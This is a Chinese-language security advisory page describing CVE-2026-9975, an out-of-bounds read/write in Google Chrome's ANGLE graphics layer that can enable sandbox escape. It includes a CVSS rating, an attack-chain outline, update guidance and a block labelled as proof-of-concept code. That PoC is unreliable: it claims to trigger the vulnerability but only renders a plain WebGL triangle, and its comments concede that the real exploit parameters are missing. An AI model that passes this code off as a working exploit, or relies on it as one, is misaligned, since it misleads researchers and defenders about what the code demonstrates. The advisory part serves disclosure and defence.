IPBUF安全漏洞报告
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CVE-2026-9975 CVSS 8.3 高危

CVE-2026-9975 Google Chrome ANGLE越界读写致沙箱逃逸

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9975
漏洞类型
沙箱逃逸, 越界读写
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

Google Chrome沙箱逃逸越界读写RCEANGLE高危漏洞

漏洞概述

CVE-2026-9975是Google Chrome浏览器中ANGLE组件的一个高危安全漏洞。该漏洞源于ANGLE(Almost Native Graphics Layer Engine)在处理特定图形指令时存在越界读取和写入错误。在Google Chrome版本148.0.7778.216之前,远程攻击者可以通过诱导用户访问精心构造的恶意HTML页面来触发此漏洞。关键在于,利用该漏洞通常需要攻击者已经攻陷了浏览器的渲染进程。一旦触发,该漏洞可能允许攻击者利用内存破坏漏洞绕过Chrome的沙箱安全机制,从而在目标系统上执行任意代码,造成严重的数据泄露或系统控制权丧失。

技术细节

该漏洞的技术核心在于Google Chrome的图形渲染后端ANGLE中存在内存安全性缺陷。ANGLE负责将WebGL和OpenGL ES指令转换为底层图形API(如DirectX或OpenGL)。在处理复杂的WebGL操作时,由于对内存边界的校验不严格,攻击者可以触发越界读写(Out-of-Bounds Read/Write)。Chrome浏览器采用多进程架构,渲染进程被严格沙箱化,限制其对系统资源的访问。然而,攻击者若通过其他漏洞(如渲染进程内的RCE)获得了渲染进程的执行权限,便可以利用此ANGLE漏洞破坏沙箱的隔离性。通过精心构造的HTML页面,攻击者可以操纵图形处理指令,导致ANGLE组件读写预期之外的内存区域。这种内存破坏可以被进一步利用来修改沙箱策略的关键数据或劫持控制流,最终实现从渲染进程逃逸到浏览器主进程甚至操作系统层面,从而完全控制受害主机。

攻击链分析

STEP 1
1. 初始访问
攻击者诱导用户访问包含恶意HTML代码的网页。
STEP 2
2. 渲染进程攻陷
攻击者首先利用浏览器渲染进程中的其他漏洞获取代码执行权限。
STEP 3
3. 触发ANGLE漏洞
恶意网页中的WebGL代码触发ANGLE组件中的越界读写漏洞。
STEP 4
4. 沙箱逃逸
利用越界读写漏洞破坏沙箱隔离机制,获取更高权限。
STEP 5
5. 执行恶意操作
在沙箱外执行任意代码,窃取数据或控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-9975: ANGLE Out-of-Bounds Read/Write --> <!-- This PoC demonstrates a trigger for the ANGLE vulnerability via WebGL --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9975 PoC</title> </head> <body> <h1>Testing CVE-2026-9975</h1> <canvas id="glCanvas" width="640" height="480"></canvas> <script> // Initialize WebGL context to interact with ANGLE const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl'); if (!gl) { console.error('WebGL not supported'); } else { console.log('WebGL context created. Attempting to trigger vulnerability...'); // Create a shader that may trigger the out-of-bounds condition // Specific shader parameters would be tuned for the actual exploit const vertexShaderSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; const fragmentShaderSource = ` precision mediump float; void main() { // Manipulate fragment data to stress ANGLE memory handling gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; // Helper function to compile shaders function loadShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const shaderProgram = gl.createProgram(); const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vertexShaderSource); const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); // Attempt to draw and trigger the bug in ANGLE gl.useProgram(shaderProgram); const positionBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); const positions = [0.0, 1.0, -1.0, -1.0, 1.0, -1.0]; gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW); const vertexPosition = gl.getAttribLocation(shaderProgram, 'aVertexPosition'); gl.vertexAttribPointer(vertexPosition, 2, gl.FLOAT, false, 0, 0); gl.enableVertexAttribArray(vertexPosition); gl.drawArrays(gl.TRIANGLES, 0, 3); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查并更新Google Chrome浏览器到最新版本(148.0.7778.216或以上)。在未完成更新前,应避免点击来源不明的链接或访问可疑网站,并保持杀毒软件开启以降低风险。

参考链接

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